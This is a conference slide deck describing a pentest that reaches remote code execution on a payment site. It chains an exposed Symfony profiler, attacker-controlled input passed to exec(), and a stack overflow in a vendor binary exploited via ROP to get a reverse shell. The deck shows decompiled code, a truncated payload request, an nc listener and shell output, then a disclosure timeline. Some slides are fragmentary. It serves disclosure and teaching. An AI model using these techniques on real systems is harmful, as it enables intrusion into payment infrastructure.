


Wild pentesting

When a reverser does pentest...




Date: 06/06/2019

For: SSTIC


Presenters: Fabien Perigaud






Who am I?


- Who cares?
- Reverse engineering team vice-coordinator
 - Usually doing reverse engineering, vulnerability research, exploitation...
- ... but sometimes helps on pentests!



Classical Web Pentest


- Website with payment feature
- Uses Symfony framework
 - Symfony has a nice debug interface **if enabled**
 - Guess what? It was :)





Symfony Profiler

- **Gives many debug features**
 - Including arbitrary file read!
 - Gather all the bundles!
- **Now we can look at the PHP source code...**
 - What's in the payment module?




Payment bundle

```
public function XXX(&$params)
{
    $transaction = null;
    $params = array_merge($this->XXXParams, $params);

    // pathfile root path
    $param = "pathfile={$this->getPathFile($params['path_file'])}";
    $param = "$param message={$params['data']}";

    // exec path
    $path_bin = $params['path_bin'].'response';

    // escape params and exec
    $param = escapeshellcmd($param);
    $result = exec("$path_bin $param");
    [...]
}
```




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    // escape params and exec
    $param = escapeshellcmd($param);
    $result = exec("$path_bin $param");
    [...]
}
```



Payment bundle


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    // exec path
    $path_bin = $params['path_bin'].'response';

    // escape params and exec
    $param = escapeshellcmd($param);
    $result = exec("$path_bin $param");
    [...]
}
```


**Attacker Controlled via
POST request!**



Payment bundle

```
public function XXX(&$params)
{
    $transaction = null;
    $params = array_merge($this->XXXParams, $params);


    // pathfile root path
    $param = "pathfile={$this->getPathFile($params['path_file'])}";
    $param = "$param message={$params['data']}";          Attacker Controlled via
    // exec path                                         POST request!
    $path_bin = $params['path_bin'].'response';          /.../bin/linux64/static/response
    // escape params and exec
    $param = escapeshellcmd($param);
    $result = exec("$path_bin $param");
    [...]
}
```



Now what?

- We have a static linux binary...
 - ... called with arbitrary parameter...
- CTF time!






main()

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
    if ( argc <= 1 )
        exit(-1);

    if ( argc > 3 )
        exit(-1);

for ( i = 1; i < argc; ++i )
{
    v3 = get_param(argv[i], (__int64)&v6, (__int64)&v4);
    if ( v3 == 1 )
        exit(-1);
    if ( v3 == 2 )
        exit(-1);
}
do_something();

exit(0);
}
```




get_param()

```
_int64 __fastcall get_param(const char *a1, __int64 a2, __int64 a3)
{
    if ( !memcmp(a1, "message=", 8uLL) )
    {
        strcpy(a2, a1 + 8);
    }
}
```


■ Trivial buffer overflow

- In main() stack variable...
- ... but main() never returns :(




We need to go deeper!

- **Argument is encoded**
 - Twice :) Hex-encode + UUEncode
- **Once decoded, TLV-encoded data**
 - Parsing is hard!
 - NULL byte write in the stack, at controlled offset!



We need to go deeper! (2)

- **Trash saved-RBP 2nd byte**
 - Stack is shifted down
 - **Might** end in a stack-buffer from a previous function containing our decoded data!
 - Slide depends on stack initialization, because of ASLR




We need to go deeper! (2)

- T



f




POP POP RET

■ Quick ROP chain


- Execute arbitrary command on the system
- Reverse shell!

■ Stack randomization

- → Many tries to succeed (~ 1/10)
- ... but we can send as many requests as we want :)



Finally...



In the wild :)

POST /payment/.../cancel HTTP/1.1

Host: xxx

[...]

DATA=2020353835603028502c2[...]

```
$ nc -v -l -p 8080
```

```
Listening on [0.0.0.0] (family 2, port 31337)
```

```
Connection from xxx 40160 received!
```


```
$ id
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
$ uname -a
```

```
Linux xxx 4.4.0-71-generic #92-Ubuntu SMP Fri Mar 24 12:59:01 UTC 2017 x86_64
```

```
GNU/Linux
```




Responsifull disclosure

- **17/01/2019: reported to vendor**
- **18/01/2019: vendor advises to migrate to V2**
 - Complicated for the customer...
 - ... and the bank have to run V2 too!
- **18/01/2019: vendor says a fix might become available**
- **11/03/2019: ping vendor, no response**
- **15/04/2019: ping vendor, no response**
- **03/05/2019: ping vendor, no response**
- **17/05/2019: ping vendor, no response**

- **Vendor is a leader in payment systems :)**



ANY QUESTIONS?



THANK YOU FOR YOUR ATTENTION

